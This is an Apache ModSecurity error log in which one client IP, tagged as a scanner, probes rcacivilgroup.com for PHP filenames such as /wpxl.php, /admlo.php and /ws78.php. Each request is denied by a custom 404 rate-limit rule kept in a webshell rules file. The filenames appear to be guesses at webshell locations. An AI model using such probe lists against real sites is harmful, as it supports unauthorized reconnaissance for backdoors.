[Fri Apr 24 08:56:44.458696 2026] [:error] [pid 19101:tid 19151] [client 20.216.173.101:4715] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aeq_zGAHj9bEvrTgbO0lpQAAAE4"]
[Fri Apr 24 08:56:47.075217 2026] [:error] [pid 52129:tid 52144] [client 20.216.173.101:4673] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aeq_z-KCZKf8_u2LKiAk1QAAAQs"]
[Fri Apr 24 08:56:49.514325 2026] [:error] [pid 19102:tid 19188] [client 20.216.173.101:64117] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aeq_0QDSgrbLEZbkqD4yXgAAAJg"]
[Fri Apr 24 08:56:51.030292 2026] [:error] [pid 52129:tid 52135] [client 20.216.173.101:62274] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoper1.php"] [unique_id "aeq_0-KCZKf8_u2LKiAk4AAAAQI"]
[Fri Apr 24 08:56:51.729526 2026] [:error] [pid 52129:tid 52140] [client 20.216.173.101:54205] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aeq_0-KCZKf8_u2LKiAk5QAAAQc"]
[Fri Apr 24 08:56:53.073492 2026] [:error] [pid 19101:tid 19149] [client 20.216.173.101:54697] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aeq_1WAHj9bEvrTgbO0lrwAAAEw"]
[Fri Apr 24 08:56:53.908957 2026] [:error] [pid 19101:tid 19161] [client 20.216.173.101:64086] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aeq_1WAHj9bEvrTgbO0lsAAAAFg"]
[Fri Apr 24 08:56:54.906706 2026] [:error] [pid 19200:tid 19224] [client 20.216.173.101:30983] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "aeq_1jQ--M3-tsKAnhEoHAAAANA"]
[Fri Apr 24 08:56:55.854622 2026] [:error] [pid 52129:tid 52146] [client 20.216.173.101:54180] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aeq_1-KCZKf8_u2LKiAk7wAAAQ0"]
[Fri Apr 24 08:56:56.775272 2026] [:error] [pid 19102:tid 19175] [client 20.216.173.101:48509] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aeq_2ADSgrbLEZbkqD4yeAAAAIs"]
[Fri Apr 24 08:56:59.601156 2026] [:error] [pid 19102:tid 19172] [client 20.216.173.101:47892] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aeq_2wDSgrbLEZbkqD4yfwAAAIg"]
[Fri Apr 24 08:57:00.556104 2026] [:error] [pid 19100:tid 19133] [client 20.216.173.101:40908] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/de.php"] [unique_id "aeq_3LF_hzQs4CqbifdaYQAAABc"]
[Fri Apr 24 08:57:02.232964 2026] [:error] [pid 19100:tid 19121] [client 20.216.173.101:28528] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aeq_3rF_hzQs4CqbifdaaAAAAAs"]
[Fri Apr 24 08:57:03.354480 2026] [:error] [pid 52129:tid 52146] [client 20.216.173.101:25418] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aeq_3-KCZKf8_u2LKiAk-gAAAQ0"]
[Fri Apr 24 08:57:04.361323 2026] [:error] [pid 19200:tid 19219] [client 20.216.173.101:64101] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aeq_4DQ--M3-tsKAnhEoRQAAAMs"]
[Fri Apr 24 08:57:05.034867 2026] [:error] [pid 52129:tid 52138] [client 20.216.173.101:47903] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/insta.php"] [unique_id "aeq_4eKCZKf8_u2LKiAk_QAAAQU"]
[Fri Apr 24 08:57:06.213757 2026] [:error] [pid 19101:tid 19144] [client 20.216.173.101:4454] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aeq_4mAHj9bEvrTgbO0lugAAAEc"]
[Fri Apr 24 08:57:07.664544 2026] [:error] [pid 19101:tid 19145] [client 20.216.173.101:28510] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aeq_42AHj9bEvrTgbO0lvgAAAEg"]
[Fri Apr 24 08:57:08.792104 2026] [:error] [pid 19102:tid 19188] [client 20.216.173.101:54150] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aeq_5ADSgrbLEZbkqD4ykAAAAJg"]
[Fri Apr 24 08:57:12.127708 2026] [:error] [pid 19200:tid 19229] [client 20.216.173.101:47896] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aeq_6DQ--M3-tsKAnhEocQAAANU"]
[Fri Apr 24 08:57:12.987500 2026] [:error] [pid 19200:tid 19210] [client 20.216.173.101:25471] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aeq_6DQ--M3-tsKAnhEodwAAAMI"]
[Fri Apr 24 08:57:14.576029 2026] [:error] [pid 52129:tid 52154] [client 20.216.173.101:47409] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aeq_6uKCZKf8_u2LKiAlCQAAARU"]
[Fri Apr 24 08:57:15.506056 2026] [:error] [pid 19101:tid 19160] [client 20.216.173.101:48503] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aeq_62AHj9bEvrTgbO0l1AAAAFc"]
[Fri Apr 24 08:57:19.480981 2026] [:error] [pid 19102:tid 19183] [client 20.216.173.101:48468] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aeq_7wDSgrbLEZbkqD4yqAAAAJM"]
[Fri Apr 24 08:57:21.501554 2026] [:error] [pid 19200:tid 19229] [client 20.216.173.101:54207] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "aeq_8TQ--M3-tsKAnhEopQAAANU"]
[Fri Apr 24 08:57:37.302104 2026] [:error] [pid 19101:tid 19142] [client 20.216.173.101:64071] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aerAAWAHj9bEvrTgbO0l_AAAAEU"]
[Fri Apr 24 08:57:39.484284 2026] [:error] [pid 52129:tid 52136] [client 20.216.173.101:30527] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aerAA-KCZKf8_u2LKiAlYwAAAQM"]
[Fri Apr 24 08:57:40.380108 2026] [:error] [pid 52129:tid 52143] [client 20.216.173.101:61924] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aerABOKCZKf8_u2LKiAlbAAAAQo"]
[Fri Apr 24 08:57:41.507283 2026] [:error] [pid 19100:tid 19122] [client 20.216.173.101:64038] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws78.php"] [unique_id "aerABbF_hzQs4CqbifdasQAAAAw"]
[Fri Apr 24 08:57:42.645273 2026] [:error] [pid 19200:tid 19229] [client 20.216.173.101:35761] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aerABjQ--M3-tsKAnhEo6AAAANU"]
[Fri Apr 24 08:57:44.055976 2026] [:error] [pid 19102:tid 19165] [client 20.216.173.101:32372] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aerACADSgrbLEZbkqD4yzgAAAIE"]
[Fri Apr 24 08:57:45.445619 2026] [:error] [pid 19100:tid 19127] [client 20.216.173.101:4100] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aerACbF_hzQs4CqbifdatwAAABE"]
[Fri Apr 24 08:57:47.373595 2026] [:error] [pid 19101:tid 19159] [client 20.216.173.101:18233] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aerAC2AHj9bEvrTgbO0mDgAAAFY"]
[Fri Apr 24 08:57:48.200729 2026] [:error] [pid 19101:tid 19138] [client 20.216.173.101:11915] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aerADGAHj9bEvrTgbO0mDwAAAEE"]
[Fri Apr 24 08:57:49.007516 2026] [:error] [pid 52129:tid 52154] [client 20.216.173.101:38228] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aerADeKCZKf8_u2LKiAlewAAARU"]
[Fri Apr 24 08:57:49.658647 2026] [:error] [pid 19101:tid 19156] [client 20.216.173.101:28419] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aerADWAHj9bEvrTgbO0mEQAAAFM"]
[Fri Apr 24 08:57:50.867743 2026] [:error] [pid 19200:tid 19225] [client 20.216.173.101:62749] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aerADjQ--M3-tsKAnhEo-gAAANE"]
[Fri Apr 24 08:57:52.919953 2026] [:error] [pid 19102:tid 19187] [client 20.216.173.101:38227] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aerAEADSgrbLEZbkqD4y2QAAAJc"]
[Fri Apr 24 08:57:54.424692 2026] [:error] [pid 19102:tid 19177] [client 20.216.173.101:61659] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aerAEgDSgrbLEZbkqD4y3gAAAI0"]
[Fri Apr 24 08:57:55.285170 2026] [:error] [pid 19200:tid 19229] [client 20.216.173.101:15785] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aerAEzQ--M3-tsKAnhEpBAAAANU"]
[Fri Apr 24 08:57:57.373803 2026] [:error] [pid 52129:tid 52137] [client 20.216.173.101:37847] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aerAFeKCZKf8_u2LKiAljwAAAQQ"]
[Fri Apr 24 08:58:00.106653 2026] [:error] [pid 19200:tid 19226] [client 20.216.173.101:12589] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aerAGDQ--M3-tsKAnhEpCgAAANI"]
[Fri Apr 24 08:58:01.636542 2026] [:error] [pid 52129:tid 52152] [client 20.216.173.101:26100] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aerAGeKCZKf8_u2LKiAlpgAAARM"]
[Fri Apr 24 08:58:03.157671 2026] [:error] [pid 52129:tid 52154] [client 20.216.173.101:37042] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aerAG-KCZKf8_u2LKiAlvAAAARU"]
[Fri Apr 24 08:58:04.109123 2026] [:error] [pid 19200:tid 19224] [client 20.216.173.101:21659] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aerAHDQ--M3-tsKAnhEpJAAAANA"]
[Fri Apr 24 08:58:06.619787 2026] [:error] [pid 19101:tid 19149] [client 20.216.173.101:37815] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aerAHmAHj9bEvrTgbO0mGwAAAEw"]
[Fri Apr 24 08:58:07.858856 2026] [:error] [pid 52129:tid 52151] [client 20.216.173.101:21655] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aerAH-KCZKf8_u2LKiAmCwAAARI"]
[Fri Apr 24 08:58:10.927705 2026] [:error] [pid 19102:tid 19177] [client 20.216.173.101:56851] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aerAIgDSgrbLEZbkqD4zFgAAAI0"]
[Fri Apr 24 08:58:12.930737 2026] [:error] [pid 52129:tid 52137] [client 20.216.173.101:58449] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aerAJOKCZKf8_u2LKiAmIwAAAQQ"]
[Fri Apr 24 08:58:13.855376 2026] [:error] [pid 19200:tid 19230] [client 20.216.173.101:4616] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfun.php"] [unique_id "aerAJTQ--M3-tsKAnhEpcQAAANY"]
[Fri Apr 24 08:58:14.735338 2026] [:error] [pid 19200:tid 19221] [client 20.216.173.101:62822] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfun.php"] [unique_id "aerAJjQ--M3-tsKAnhEpcwAAAM0"]
[Fri Apr 24 08:58:16.219928 2026] [:error] [pid 52129:tid 52138] [client 20.216.173.101:39438] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfun.php"] [unique_id "aerAKOKCZKf8_u2LKiAmLQAAAQU"]
[Fri Apr 24 08:58:18.242205 2026] [:error] [pid 19102:tid 19164] [client 20.216.173.101:17693] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xfun.php"] [unique_id "aerAKgDSgrbLEZbkqD4zIgAAAIA"]
[Fri Apr 24 08:58:22.126794 2026] [:error] [pid 19101:tid 19143] [client 20.216.173.101:24760] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerALmAHj9bEvrTgbO0mJwAAAEY"]
[Fri Apr 24 08:58:23.077004 2026] [:error] [pid 52129:tid 52153] [client 20.216.173.101:26100] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerAL-KCZKf8_u2LKiAmUQAAARQ"]
[Fri Apr 24 08:58:24.213586 2026] [:error] [pid 19200:tid 19211] [client 20.216.173.101:41512] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerAMDQ--M3-tsKAnhEpfgAAAMM"]
